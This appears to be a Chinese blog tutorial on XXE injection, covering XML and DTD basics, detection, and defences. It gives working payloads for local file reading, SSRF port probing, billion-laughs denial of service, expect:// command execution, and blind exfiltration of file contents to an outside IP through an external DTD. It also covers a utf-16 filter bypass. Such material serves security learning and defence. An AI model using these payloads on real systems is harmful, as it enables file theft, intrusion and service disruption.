XML&XXE安全

本文深入探讨了XML External Entity Injection (XXE)漏洞,介绍了XML和DTD的基础知识,以及XXE的利用方式,如文件读取、内网探测、DOS攻击和命令执行。同时,讨论了无回显XXE的利用,绕过策略,以及漏洞检测、防御方法和相关工具。还涵盖了Content-Type中的json和xml在XXE中的应用,以及如何在Office文件中实施XXE攻击。
摘要由CSDN通过智能技术生成

XXE漏洞介绍

XXE全称XML External Entity Injection,即外部实体注入。owasp网站对其的描述是:XXE是针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的 XML 输入被弱配置的 XML 解析器处理时,就会发生这种攻击。这种攻击可能导致机密数据泄露、拒绝服务、服务器端请求伪造、从解析器所在机器的角度进行端口扫描,以及其他系统影响。

XML基础知识

XML 指可扩展标记语言(EXtensible Markup Language),是一种很像html的语言。但它的标签需要我们自己定义。

基本格式:

 <?xml version="1.0" encoding="UTF-8"?> //开头需要声明
 <root> //必须包含一个根元素
     <child>//子元素
         <subchild></subchild>
     </child>
 </root>//所有元素都需要有对应的关闭标签

语法规则:

1.标签大小写敏感

2.属性值必须加引号,单双都可,如果值用双引号可以用单引号包裹

3.所有元素都必须有一个关闭标签

4.标签必须正确嵌套

5.XML中空格会被保留,不像html中只保留一个

6.<、&必须用实体引用,>、‘、“建议使用实体引用(以防万一还是都用实体引用吧)

DTD基础知识

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

DTD中实体可分为内部实体和外部实体,又可分为参数实体。下面分别介绍这两种分类。(其实关于这种分类,我在网上看到好几种说法,也不知道谁是最准确的,但是不管怎么分,也就只有那么几种写法)

内部实体和外部实体

DTD的作用就是用来定义XML文档的合法构建模块DTD可以在XML文档内声明,也可以在外部引用。

 内部声明DTD  <!DOCTYPE 根元素 [元素声明]>
 外部声明DTD  <!DOCTYPE 根元素 SYSTEM "文件名">
 <!DOCTYPE note SYSTEM "Note.dtd">
 或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

内部实体声明:(在DTD内部声明)

 语法:<!ENTITY entity-name "entity-value"> 
 示例:
 <!DOCTYPE author[
     <!ELEMRNT author (#PCDATA)
     <!ENTITY name "Restart">
 ]>
 <author>&name;</author>//引用实体
 <?xml version="1.0"?>                       //xml声明
 <!DOCTYPE note [
 <!ELEMENT note (to,from,heading,body)>    //定义了note元素,并且note元素下面有4个子元素
 <!ELEMENT to      (#PCDATA)>              //定义了子元素to,后面的(#PCDATA)意思是to元素里面的字符串内容不会被解析
 <!ELEMENT from    (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body    (#PCDATA)>
 ]>                                   //从<!DOCTYPE...到}>,是DTD文档的定义 
 <note>
 <to>George</to>
 <from>John</from>
 <heading>Reminder</heading>
 <body>Don't forget the meeting!</body>
 </note>                                     //后面这部分就是XML文件内容

外部实体声明:(在DTD外部声明实体)

 语法:<!ENTITY entity-name SYSTEM "URL/URI"> 
 示例:
 <!DOCTYPE author [
     <!ENTITY name SYSTEM "author.dtd">
 ]>
 <author>&name;</author>//引用实体
 <?xml version="1.0"?>
 <!DOCTYPE note SYSTEM "note.dtd">
 <note>
 <to>George</to>
 <from>John</from>
 <heading>Reminder</heading>
 <body>Don't forget the meeting!</body>
 </note>

下面是note.dtd的内容

 <!DOCTYPE note [
 <!ELEMENT note (to,from,heading,body)>
 <!ELEMENT to      (#PCDATA)>              
 <!ELEMENT from    (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body    (#PCDATA)>
 ]>

外部声明实体外部实体用来引用外部资源,有两个关键字SYSTEM和PUBLIC两个,表示实体来自本地计算机还是公共计算机,外部实体的利用会用到协议如下:

不同语言下支持的协议:

参数实体

 <!ENTITY %实体名称 "值">
 <!ENTITY %实体名称 SYSTEM "URL">
 语法:<!ENTITY % entity-name "entity-value">
 示例:
 <!DOCTYPE author[
     <!ENTITY % name "Restart">
 ]>
 <author>%name;</author>

实例:

 <!DOCTYPE foo [<!ELEMENT foo ANY >
 <!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
 %xxe;]>
 <foo>&evil;</foo>

而里面引用的外部实体evil.dtd的内容:

 <!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

正因为外部实体支持的http,file等协议,那么就有可能通过以用外部实体进行远程文件读取。

参数实体参数实体只能在DTD中定义和使用实体,一般的话引用时%作为前缀。而内部实体是指在一个实体中定义的另一个实体,说白了就是嵌套的。

可以发现除了参数实体在定义和引用的时候需要用%,其他实体引用都是用&。

总结出来可以知道,在XML中引用实体,都需要(&或%)+(实体名)+(;),这三个条件(或者说元素)缺一不可。

利用方式

可利用其它各种协议进行操作,一般常用的是file、http、php协议。

文件读取

抓包后简单构造读取文件

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE xxe [
 <!ENTITY xxe SYSTEM "file:///etc/passwd">]>

有的时候不能直接读出文件内容,需要编码一下,例如读取php文件。因为php文件内部已经含有<等字符,因此需要用filter来读

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE xxe [
 <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">]>

还有一个需要注意的地方,就是嵌套的参数实体,内层的%需要改为字符实体,例如

 <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE xxe [
 <!ENTITY xxe SYSTEM "file:///flag">]>
 <H3rmesk1t>
     <ctfshow>
         &xxe;
     </ctfshow>
 </H3rmesk1t>

构造服务器接收的标签,将变量写到标签内部。

内网探测

正因为xml外部实体攻击利用的http协议,也就是说利用该请求探测内网端口的存活,从而可以进行ssrf攻击。构造代码:

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE ANY [
 <!ENTITY xxes SYSTEM “http://127.0.0.1:8000"> 
 ]>
 <user><username>&xxes;</username><password>admin</password></user>

DOS攻击

本质是递归,通俗来说就是套娃

 <?xml version="1.0"?>
      <!DOCTYPE lolz [
      <!ENTITY lol "lol">
      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
      <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
      <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
      <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
      <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
      <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
      <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
      ]>
      <lolz>&lol9;</lolz>

expect rce(命令执行)

在安装expect扩展的PHP环境里执行系统命令

 <?xml version="1.0" encoding="utf-8"?> 
 <!DOCTYPE xxe [
 <!ELEMENT name ANY >
 <!ENTITY xxe SYSTEM "expect://id" >]>
 <root>
 <name>&xxe;</name>
 </root>

无回显的xxe

这种xxe需要将数据外带,可以利用burp上的collaborator工具

原理就是将这个工具随机产生的url复制到xxe的payload中,当目标服务器进行了外部的请求和交互,该工具会记录下来,于是证明了漏洞存在。

当然,除了利用这个工具,其他平台也可以,类比其他攻击方式的数据外带

对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

可以将文件内容发送到远程服务器,然后读取。

可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

具体无回显参考:XXE漏洞学习 - 时光不改 - 博客园

外部引用

1、利用dnslog检测是否存在漏洞

 <?xml version="1.0" ?>
 <!DOCTYPE test [
     <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
     %file;
 ]>
 ​
 <user><username>&send;</username><password>Mikasa</password></user>

2、外部引用尸体dtd

 <?xml version="1.0" ?>
 <!DOCTYPE test [
     <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
     %file;
 ]>
 <user><username>&send;</username><password>Mikasa</password></user>
 ​
 evil2.dtd
 <!ENTITY send SYSTEM "file:///d:/e.txt">
 ​

3、无回显读文件

 <?xml version="1.0"?>
 <!DOCTYPE ANY[
 <!ENTITY % file SYSTEM "file:///d:/e.txt">
 <!ENTITY % remote SYSTEM "http://139.196.239.98/test.dtd">
 %remote;
 %all;
 ]>
 <root>&send;</root>
 ​
 test.dtd
 <!ENTITY % all "<!ENTITY send SYSTEM 'http://139.196.239.98/x.php?1=%file;'>">
 ​
 当file协议读取不了的时候尝试使用base64加密来读取
 <?xml version="1.0"?>
 <!DOCTYPE ANY[
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
 <!ENTITY % remote SYSTEM "http://139.196.239.98/test.dtd">
 %remote;
 %all;
 ]>
 <root>&send;</root>
 ​
 test.xml
 <!ENTITY % all "<!ENTITY send SYSTEM 'http://139.196.239.98/x.php?1=%file;'>">

Content-Type中的json和xml

当WEB服务使用XML或者JSON中的一种进行传输时,服务器可能会接收开发人员并未预料到的数据格式。如果服务器上的XML解析器的配置不完善,在JSON传输的终端可能会遭受XXE攻击

简单来说就是将Content-Type: application/json改为Content-Type: application/xml,然后将post的内容格式也从json转换为xml,举个例子

 原始json数据:
 {"search":"name","value":"netspitest"} 
 ​
 修改为xml格式后:
 <?xml version="1.0" encoding="UTF-8" ?>
 <root>
 <search>name</search>
 <value>netspitest</value>
 </root>

加上root的原因是:json转换过来后没有XML格式文件所必须的元素,可能导致服务器无法正常响应

关于office文件xxe攻击的实现

这个地方首先需要明白xml文件的文件格式,其本质也属于zip压缩文件,相信做过misc题目的同学应该都清楚,office的文件都可以将后缀名改成zip,以压缩文件的方式查看。

了解了这一点,那么来看看excel的构成。这里我新建了一个空白的excel文件,将后缀改为了zip后打开

这里关注[Content_Types].xml文件,将payload插入这个文件,然后将压缩包还原为excel文件进行后续攻击

为了能够更加清楚地理解这种攻击方式,这里给出三个例子

1.利用docx实现XXE

2.利用Excel进行XXE攻击

3.利用Blind XXE Getshell(Java网站)

因此,当渗透测试时遇到上传office文件的地方,不妨尝试一下这种攻击方式

绕过

当检测版本号的时候,可以不写版本号

 无回显利用
 <!DOCTYPE ANY[
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
 <!ENTITY % remote SYSTEM "http://139.196.239.98/test.dtd">
 %remote;
 %all;
 ]>
 <root>&send;</root>
 ​

当过滤了http的时候,可以尝试使用utf-16来绕过

 在python中写post请求进行发包
 将payload进行utf-16编码
 ​

漏洞检测

1、检测XML是否会被解析

查看其返回,如果能被解析,则发送构造了payload的数据包过去,看是否仍然能被解析。

获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试

不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

流程:功能分析-前端提交-源码&抓包-构造Paylod测试

2、检测服务器是否支持外部实体

3、如果上面两步都支持,那么就看能否回显。有则直接攻击,无则参考无回显的xxe攻击

4、看是否是xfire开发的或者某些wsdl结尾的文件

解析wsdl文件生成request,可以利用soap解析工具,当生成request之后可将实体编码的payload放到<queryInfo>标签后面,若服务器存在此漏洞,则会根据payload中的内容做指定操作,如远程访问访问我们的主机,这是我们可以监听对应的端口,查看结果。

5、查看有明显的XML作为内容的输入点的,及某些以json格式的request。

6、从php代码层面上

最开始,引入一个file_get_contents函数,将整个XML数据读入data字符串中,然后交给php的xml解析函数simplexml_load_string()解析,解析后的数据赋给xml变量。

这一数据即XML字符串中使用的对象(或者说根元素)的数据,并echo输出出来。

代码审计

直接搜特定函数或特定功能

相关函数

 file_get_contents() 函数:接收xml变量
 loadXML() 函数:从字符串中加载XML文件
 simplexml_load_string() 函数:解析xml

漏洞危害

DOS攻击

SSRF攻击

使用file协议读取文件

端口探测

执行系统命令

漏洞防御

  1. 使用开发语言提供的禁用外部实体的方法

 PHP:
 libxml_disable_entity_loader(true);
 ​
 JAVA:
 DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
 dbf.setExpandEntityReferences(false);
 ​
 Python:
 from lxml import etree
 xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤和验证用户提交的XML数据过滤关键词<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

不允许XML中含有任何自己声明的DTD

有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可

注意

需要注意的就是XXE的造成与PHP版本无关,与libxml库的版本有关。libxml <= 2.9.0中,默认启用了外部实体,libxml>2.9.0中默认仅用了外部实体。XXE并不是直接由libxml库造成的,libxml库提供了一些XML核心功能,包括禁用外部实体的libxml_disable_entity_loader()函数,SimpleXML库提供了解析XML的函数,SimpleXML库依赖于libxml库。

靶场:

 json格式的xxe:http://web.jarvisoj.com:9882/

https://github.com/c0ny1/xxe-lab

https://download.vulnhub.com/xxe/XXE.zip

xxe自动化工具:

https://github.com/enjoiz/XXEinjector

https://github.com/vkbiu/docem

参考:

xxe详细文章:XXE漏洞学习从入门到放弃 - 简书

java的xxe漏洞:JAVA的XXE漏洞 - 简书

向docx odt pptx等文件中嵌入XXE或XSS Payload:Docem:向docx odt pptx等文件中嵌入XXE或XSS Payload - FreeBuf网络安全行业门户

XXE漏洞原理 - FreeBuf网络安全行业门户

实战讲解XXE漏洞的利用与防御策略

CTF XXE - MustaphaMond - 博客园

XXE漏洞学习 - 时光不改 - 博客园

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

初岄

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值